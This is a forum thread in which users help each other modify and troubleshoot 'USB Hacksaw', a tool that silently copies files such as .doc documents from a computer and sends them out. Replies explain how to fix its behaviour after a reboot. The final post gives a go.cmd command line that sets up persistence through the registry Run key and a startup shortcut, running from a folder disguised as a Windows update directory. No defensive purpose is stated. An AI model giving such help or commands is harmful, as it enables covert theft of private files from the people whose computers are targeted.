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Hi,

How can i modify usb hacksaw to copy certain files ?

I want it to copy and send only ( . doc  ) files . .

Thank you.

If you want a tutorial, here's a good one.

http://www.usbhacks.com/2006/10/29/how-to-...sb-flash-drive/

If you just want the example files, download the "Demo Source Files" which can be accessed

in a gray box near the title [centered right].

Just incorporate the commands into go.bat.

If you have any questions, ask.

Good Luck!

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i got another problem now  :sad:

the hacksaw worked well ... but when i restart my computer , it doesn't work ... and i see sbs.exe in the task manager ...

anyone faced this problem?

The problem is sbs.exe copies the files over to its working directory then looks for send.bat in the same directory. try starting it with a .lnk and it should solve your problem (that's how i fixed it for my payload).

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try starting it with a .lnk

can you explain how ??

u mean to start it manually instead of starting it with startup ?

I also found out when i restart my computer then inserting the usb it dumps it to:

C:Documents and Settings"USER NAME"

instead of copying it to C:WINDOWS$NtUninstallKB931337$

and this only happens after i restart the computer ....

How can i solve this problem ?

Thank you.

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try starting it with a .lnk

can you explain how ??

u mean to start it manually instead of starting it with startup ?

I also found out when i restart my computer then inserting the usb it dumps it to:

C:Documents and Settings"USER NAME"

instead of copying it to C:WINDOWS$NtUninstallKB931337$

and this only happens after i restart the computer ....

How can i solve this problem ?

Thank you.

As I said it dumps it to the working directory (which in this case would be C:Documents and Settings"USER NAME"). Instead of copying sbs.exe to the start up folder create a shortcut to sbs.exe in the start-up folder.

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it worked  :D

and it can be done by editing go.cmd file

reg.exe add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun /v USBMedia /t REG_SZ /d "%systemroot%$NtUninstallKB931337$sbs.exe" /f || "%appdata%sbsshortcut.exe" /f:"%USERPROFILE%Start MenuProgramsStartup .lnk" /A:C /T:"%appdata%sbssbs.exe" /W:"%appdata%sbs" /I:"%appdata%sbsblank.ico"

by removing

reg.exe add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun /v USBMedia /t REG_SZ /d "%systemroot%$NtUninstallKB931337$sbs.exe" /f ||

Thank you 

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